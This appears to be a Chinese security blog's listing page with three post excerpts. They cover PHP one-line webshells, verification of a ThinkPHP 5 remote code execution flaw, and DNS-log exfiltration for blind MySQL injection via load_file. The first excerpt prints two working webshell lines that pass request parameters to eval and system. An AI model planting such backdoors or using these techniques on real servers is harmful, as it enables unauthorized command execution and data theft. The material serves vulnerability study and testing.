摘要：
一、基础类的一句话--功能仅限于验证漏洞了，实际中太容易被查出出来： 1 <?php @eval($_GET["code"])?> 2 <?php @system($_POST["cmd"])?> 相信一目了然可以看懂如何使用这类一句话。 如果有疑问可以看我的博客PHP后门的eval类和system 阅读全文
摘要：
TP5新RCE漏洞 昨天又是周五，讨厌周五曝漏洞，还得又得加班，算了，还是先验证一波。新的TP5RCE，据说发现者因为上次的RCE，于是又审计了代码，结果发现的。TP5也成了万人轮啊。 测试 环境搭建 windows下phpstudy，然后下载tp5.0.23到相应的www目录下 linux，安装启 阅读全文
摘要：
0x01 技术原理 这里是利用load_file这个函数利用smb请求方式请求域名机器下的一个文件，由于计算机对该域名不熟悉所以需要优先请求DNS，所以我们通过DNS日志记录中的内容来获取回显。解决了盲注回显的问题，或者是时间注入判断的问题。熟悉MySQL的人都知道，这个利用有几个要求或者说是限制条 阅读全文